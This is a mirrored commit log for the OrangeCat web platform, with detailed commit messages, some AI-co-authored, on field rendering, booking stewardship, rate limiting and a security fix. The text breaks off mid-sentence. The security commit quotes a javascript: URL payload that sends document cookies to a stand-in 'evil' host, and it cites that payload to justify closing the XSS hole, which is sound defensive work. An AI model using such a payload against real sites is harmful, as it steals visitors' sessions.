mirror of
https://github.com/bitbaum/orangecat.git
synced 2026-12-05 13:37:15 +01:00
dependabot/github_actions/github/codeql-action-4.39.3
6
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
048a6e3eec |
feat(claims): a place set up for someone can be found, booked and shows its events (#1237)
* feat(claims): a place set up for someone can be found, booked and shows its events A studio set up for a DJ who is not on OrangeCat yet (ADR-0005) had nowhere to live: the unclaimed profile page listed projects only, a booking request for it notified nobody and nobody could answer it, and nothing showed the events held there. - Unclaimed profiles list every public listing the placeholder owns, by registry type (domain/profileClaims/unclaimedListings), not projects only. - Booking requests for a placeholder-owned listing reach its steward while the claim is pending: notifications fall back to the steward, the provider list includes stewarded placeholders, and confirm/reject/complete work for the steward. RLS cannot express stewardship, so those reads and writes use the admin client, pinned by provider_actor_id to exactly the placeholders the user stewards (services/bookings/stewardBookings). Management, never money. - The asset page lists upcoming public events held there (events.asset_id), as "Happening here". - The Assets badge counts by actor_id like the Assets tab; it counted the legacy owner_id, so assets with no actor, or handed to someone else, were counted on a tab that never shows them. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> * chore(gates): asset_id now renders — drop it from the dead-fields baseline The "Happening here" card reads events.asset_id, so the ratchet requires the baseline to shrink. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com> |
||
|
|
f639f5e769 |
fix(entities): show the investment's cadence, delete the wallet route we never built (#759)
Two more baselined fields, triaged by "does anything act on it?" rather than "is it shown?" — and again the answer differed. `return_frequency` is a stated term of the offer, and the investment card already renders `expected_return_rate` and `term_months` from the same section. "12%" paid quarterly and "12%" paid at exit are different offers; the form has always asked which, and nothing showed the answer. That half-rendered section is exactly what hid the loan refinance terms before it. Now rendered, with labels derived from RETURN_FREQUENCIES so the card cannot drift from the dropdown. `use_dedicated_wallet` / `dedicated_wallet_address` describe a feature that was never built: contributions to a wishlist item routing to their own address instead of the owner's wallet. Unreachable from every direction — no form field offers them, the wishlist API never maps them so nothing was ever written, no payment code reads them, and their guidance copy consequently had no field to attach to either. wishlist_items holds 0 rows. Removed rather than rendered, for the reason the guidance copy makes plain: it promises "contributions go to a dedicated address". That is a statement about where someone's money goes, and it would not have been true. The columns stay, so building it later needs no migration. `fulfillment_type` keeps its baseline entry but not its reason, which was wrong. It is not debt awaiting a surface: products offer Manual/Automatic/Digital Delivery, loans offer Manual/Automatic Deduction, and no code anywhere branches on the value — on products it merely restates `product_type`, identically in all 11 production rows. Resolving it means building the mechanism or dropping the option, which is a product decision, so the truth is written down instead of quietly rendered. Dead-field baseline 29 -> 26. Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
e7f2c09c59 |
fix(ai): show the assistant term we honour, drop the one we ignore (#757)
Two fields sat side by side in the dead-field baseline as if they were the same debt. They were opposites. `free_messages_per_day` is real. checkFreeMessageUsage counts the day's messages and computeCreatorChargeBtc returns 0 while the allowance lasts — the visitor simply could not see it before starting a paid conversation. It now renders beside the price chip. It renders conditionally, and that is the substance of the change. The allowance only means anything when the assistant charges: on a free assistant every message costs nothing whatever the number says, so "First 50 free each day" would announce a cap that does not exist. The one live public assistant is exactly that case — pricing_model 'free' with free_messages_per_day 50. The badge is gated on the same `isFree` that computeCreatorChargeBtc uses, so the badge cannot disagree with the bill. Proven by mutation: dropping the guard turns two of the four new tests red. `knowledge_base_urls` is not real. Nothing reads it — the chat's own SELECT never asks for it, no code fetches those URLs, and no form ever offered an input, so no creator could set it from the product at all. All 6 production assistants have it empty or null. Removed from the schema, the API mapping and the form defaults rather than rendered: "answers from these sources" would have been a claim the system does not honour, which is worse than the silence. The column stays — dropping it would be an irreversible migration to delete nothing, and it is where retrieval would store its sources if that is ever built. Dead-field baseline 31 -> 29. A field may leave that list by being shown or by being admitted not to exist; what it must never do is leave by being displayed as something the system does not actually do. Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
d1aa73d5d6 |
fix(projects): show the deadline people are funding toward (#753)
A project is the platform's milestone-accountability entity — the whole reason it
sits between "cause" (no strings) and "loan" (repayment) in the taxonomy is that
someone commits to work by a date. The create form has collected
`target_completion` since the entity existed, the API maps it, guidance copy
explains how to write it, and no surface has ever rendered it. Backers saw the
goal amount and never the deadline attached to it.
Dead-field baseline 32 -> 31.
The cause is a third distinct flavour of this class, worth naming because the
first two fixes would not have found it:
loans/events nothing rendered the field
wishlist the QUERY did not select it (explicit column allow-list)
projects the value ALREADY ARRIVED and the prop type did not declare it
The page fetch is `select('*')` and spreads the whole row into the client
component, so `target_completion` was reaching `ProjectPageClient` the entire
time. What kept it off screen was `interface Project` not listing it — a narrow
prop type hides a wide payload, and the compiler cannot warn about a field it was
never told exists. Fixing it means widening the type, the hand-built object
passed to ProjectSummaryRail, and the rail's own Props: three declarations for
one field, which is the "adding a field touches 3+ files" smell. Left as-is here
rather than reworked, because that is the existing architecture and this change
is about the missing render, not about redesigning prop plumbing.
Rendered in the summary rail, next to goal/raised/supporters — the accountability
facts, which is what a completion date is. Not the timeline component: that is an
activity feed, not a schedule.
`target_completion` is `optionalText`, not a timestamp, so the stored value is
whatever the form wrote. It formats as a date only when it genuinely parses and
otherwise shows the creator's own words ("end of Q3") rather than printing
"Invalid Date" over them. UTC is pinned deliberately — this can render on the
server, which cannot know the reader's timezone, and an unpinned format moves the
date by a day for readers elsewhere.
3 tests. verify: 228 suites, 2279 passed.
Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
691b9f1243 |
fix(entities): show ten more fields users fill in and nothing displayed (#749)
* fix(entities): show ten more fields users fill in and nothing displayed Second pass on the dead-field baseline: 42 -> 32. Event recurrence rule as one sentence, plus the video link Service delivery mode + service area Loan origination date, maturity date, lender reference Wishlist quantity wanted, "full amount only" A repeating event rendered identically to a one-off. A service never said whether it was remote or on-site, or how far the provider travels — the fact that decides whether a buyer can use it at all. A loan listing could not answer "how long is left on this?". Three things worth knowing beyond the diff: **The wishlist fields were dead because the QUERY never asked for them.** `WISHLIST_ITEM_COLUMNS` is an explicit select allow-list. Widening the TypeScript interface without widening that string would have compiled, shipped, and changed nothing on screen — the optional field type hides the under-selecting query. Both had to move together. **The gate rejected three of my thirteen removals, correctly.** days_of_week, day_of_month and month_of_year are properties of `recurrencePatternSchema` — they live inside the `recurrence_pattern` JSONB, they are not columns — and the scanner reads every schema property as top-level. They ARE rendered, via formatRecurrence, which lives in src/lib because it is a pure helper. Rather than widen the scan to src/lib (which would let non-render code vouch for a field, the exact mistake create-templates caused on this checker's first run), they go back in the baseline with that reason written down. Teaching the scanner that `X: someSubSchema` makes X the parent is the real fix; one instance does not justify the machinery. **Dates are pinned to UTC.** These render on the server, which cannot know the reader's clock, and an unpinned format moves a maturity date by a day depending on where it runs. origination/maturity are `optionalText`, not timestamps, so a value that does not parse falls back to the raw string instead of printing "Invalid Date" over the user's own input. Also documents a trap found while testing: PriceDisplay suspends under jsdom with no Suspense boundary and discards the whole card SILENTLY — no thrown error, so the assertion fails as "text not found" and reads like a missing render. The service fixture is deliberately priceless for that reason. Production is fine and was checked directly, not assumed: the live page for a priced service returns 200 with Price, the amount, and Duration all present. 7 new tests (16 in the file, all green). verify: 226 suites, 2264 passed. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * refactor(rate-limit): one limiter, not two — and an ADR that says what happened `src/features/messaging/lib/rate-limiter.ts` was a second rate limiter with its own in-memory Map, reached through the features/messaging barrel by the two /api/messages routes. Messaging therefore counted against a private budget that nothing else could observe or reset, and could never use the shared backend — its API was sync, which is precisely what made that impossible. Consolidated into src/lib/rate-limit.ts: - ACTION_RATE_LIMITS + rateLimitAction(action, identifier) for limits keyed by name rather than request shape. `windowMs` is the single source and the Upstash window string is derived from it, so the Redis path and the in-memory fallback cannot drift apart. - rateLimitHeaders(result) returns the header record; applyRateLimitHeaders is now implemented on top of it, so the two forms cannot emit different sets. - The duplicate file and its barrel re-export are deleted. Its unused READ_RECEIPT and BULK_OPERATION configs went with it rather than being ported forward as speculative surface. Verified by search: no references to enforceRateLimit, getRateLimitHeaders, RATE_LIMIT_CONFIGS or checkRateLimit remain in src/ or __tests__/. ADR-0002 moves Proposed -> Accepted, but rewritten rather than rubber-stamped, because almost none of its plan survived contact: - the second file it named, src/lib/api/rateLimiting.ts, no longer exists — it was deleted independently and the duplication it described resolved itself - the duplicate that actually mattered, the messaging limiter, is not mentioned anywhere in it - the src/lib/rate-limit/ DIRECTORY it proposed was never created; the module is a file, and renaming it now would touch 129 importers to buy nothing So for seven months the document was wrong in both directions while the thing it warned about kept happening somewhere else. That is what a decision left in Proposed does: it describes the codebase on the day it was written. Two things recorded as known and deliberately not fixed here: - Upstash is NOT configured (absent from .env.local, referenced nowhere in .github/ or scripts/), so the live path is the in-memory fallback. On a single self-hosted Node process that is correct, and the module header's serverless warning is stale advice from the Vercel era. It stops being correct the moment a second instance exists. - rate-limit.ts still repeats an upstash+fallback+function triple five times. That is real duplication inside the surviving module, left alone because it changes behaviour for 129 importers; this change was about removing a second implementation, not refactoring the survivor. rateLimitAction is the shape to fold them into. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
d5e2589347 |
Show what users fill in: build-service link, javascript:-URL class, and the dead-field gate (#744)
* feat(domains): link the build service — the rung before hosting
/domains assumes the visitor already has a site ('your site is already
hosted'), but a stranger arriving there has nothing to host. Link the
website-build service so the ladder is complete: build -> hosted free at
*.orangecat.ch -> custom domain.
The link carries no price: the service entity owns its rate, and
restating it here would be the second source of truth this config exists
to prevent.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(security): close the javascript:-URL class, and render the portfolio it blocked
`z.string().url()` delegates to `new URL()`, which accepts `javascript:` and
`data:`. Verified against the real schema, not the primitive: a wishlist item
with `external_url: 'javascript:fetch("//evil?c="+document.cookie)'` parsed
successfully and the value passed through unchanged — and the public wishlist
page rendered exactly that field into an anchor labelled "View item →". Click =
script execution in the visitor's session. `target="_blank"` and
`rel="noopener noreferrer"` do nothing here; they govern the opened context, and
`javascript:` never opens one.
Found while wiring up `portfolio_links` on the service detail page — a field
stored and API-returned but rendered nowhere, so inert until it became an href.
Making it one is the unsafe act, which is what surfaced the live instance.
Three layers, because they fail differently:
- `webUrl()` (validation SSOT) — trims, then http(s) only. Trimming is not
cosmetic: browsers strip leading whitespace/control characters before parsing
a scheme, so " \n javascript:…" is live in an href.
- `safeHref()` (render boundary) — validation only binds rows written after it
ships, and service-role inserts skip schemas entirely.
- `no-restricted-syntax` — bans the unsafe form for good. Mutation-tested red
before being trusted.
The AST rule found 4 call sites that grep and a hand-written selector both
missed: multi-line `z\n.string()\n.url(msg)` in projects.ts, and
`z.string().trim().url().max(2000)` on avatarUrl/bannerUrl/website in
profile-claims — which feed an avatar src, a banner src, and a profile href.
Ending a class needs the linter's count, not the grep that found instance one.
Stored data checked separately, since a schema fix cleans nothing: all 6
services' portfolio_links and all 3 profile websites are already http(s), and no
wishlist item has an external_url at all (HTTP 200 + empty — absent, not
unqueryable). No cleanup migration needed.
Also unbreaks `npm run verify` from a git worktree, where it could not complete:
- check-duplication.mjs resolved jscpd at <repo>/node_modules, but a worktree
has none and inherits the main checkout's. Resolved via Node's own lookup.
- eval-cat-retry.test.ts never set the anon key, silently relying on
eval-cat.mjs reading .env.local from cwd — untracked, main-checkout-only. In
the main checkout it passed by pulling the REAL anon key into a unit test;
in a worktree the script exited before the retry logic ran. Now sets a fake
key, and the 503 backoff actually executes.
verify: green (222 suites, 2208 passed), duplication 0.95% under the 1.0%
baseline. 33 new tests assert the CLOSED side — a test that only checks https://
still passes after someone reverts the helper.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(entities): show the fields users fill in, and gate the class that hid them
`portfolio_links` (
|